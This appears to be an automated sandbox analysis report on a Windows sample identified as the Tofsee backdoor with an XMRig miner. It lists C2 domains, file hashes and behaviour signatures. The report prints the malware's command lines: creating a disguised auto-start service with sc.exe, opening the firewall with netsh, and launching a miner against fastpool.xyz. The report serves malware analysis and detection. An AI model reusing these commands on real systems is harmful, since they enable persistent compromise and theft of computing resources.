Analysis

  • max time kernel
    144s
  • max time network
    159s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    02/12/2022, 01:06

General

  • Target
    file.exe
  • Size 192KB
  • Sample221202-bf48aahb84
  • SHA256 1b91a40fdbff1cc2daa2ff7c820b384a259a52f286eca1086842744b4c2046d2
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1048
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\sndoiyif\
      2⤵
        PID:944
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\voltkdxu.exe" C:\Windows\SysWOW64\sndoiyif\
        2⤵
          PID:668
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create sndoiyif binPath= "C:\Windows\SysWOW64\sndoiyif\voltkdxu.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1688
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description sndoiyif "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1464
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start sndoiyif
          2⤵
          • Launches sc.exe
          PID:1756
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:884
      • C:\Windows\SysWOW64\sndoiyif\voltkdxu.exe
        C:\Windows\SysWOW64\sndoiyif\voltkdxu.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1368
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:816
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:944

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            voltkdxu.exe

            • Path C:\Users\Admin\AppData\Local\Temp\voltkdxu.exe
            • Size 13.4MB
            • SHA256 ba9270161b42a1cd0b9cd6578c275c87761fb65a3f5f7041247a5fa7f208574e
            • MD5 SHA1 SHA512 SSDEEP

            voltkdxu.exe

            • Path C:\Windows\SysWOW64\sndoiyif\voltkdxu.exe
            • Size 13.4MB
            • SHA256 ba9270161b42a1cd0b9cd6578c275c87761fb65a3f5f7041247a5fa7f208574e
            • MD5 SHA1 SHA512 SSDEEP

            memory/816-83-0x0000000000110000-0x0000000000116000-memory.dmp

            memory/816-86-0x0000000000120000-0x0000000000130000-memory.dmp

            memory/816-98-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/816-95-0x00000000003E0000-0x00000000003E7000-memory.dmp

            memory/816-92-0x00000000055B0000-0x00000000059BB000-memory.dmp

            memory/816-89-0x0000000000270000-0x0000000000275000-memory.dmp

            memory/816-80-0x0000000001A10000-0x0000000001C1F000-memory.dmp

            memory/816-78-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/816-69-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/816-71-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/944-101-0x00000000000D0000-0x00000000001C1000-memory.dmp

            memory/944-99-0x00000000000D0000-0x00000000001C1000-memory.dmp

            memory/1048-55-0x000000000061B000-0x000000000062C000-memory.dmp

            memory/1048-54-0x00000000759F1000-0x00000000759F3000-memory.dmp

            memory/1048-56-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1048-57-0x0000000000400000-0x0000000000466000-memory.dmp

            memory/1048-67-0x0000000000400000-0x0000000000466000-memory.dmp

            memory/1048-66-0x000000000061B000-0x000000000062C000-memory.dmp

            memory/1368-75-0x0000000000400000-0x0000000000466000-memory.dmp

            memory/1368-73-0x000000000026B000-0x000000000027C000-memory.dmp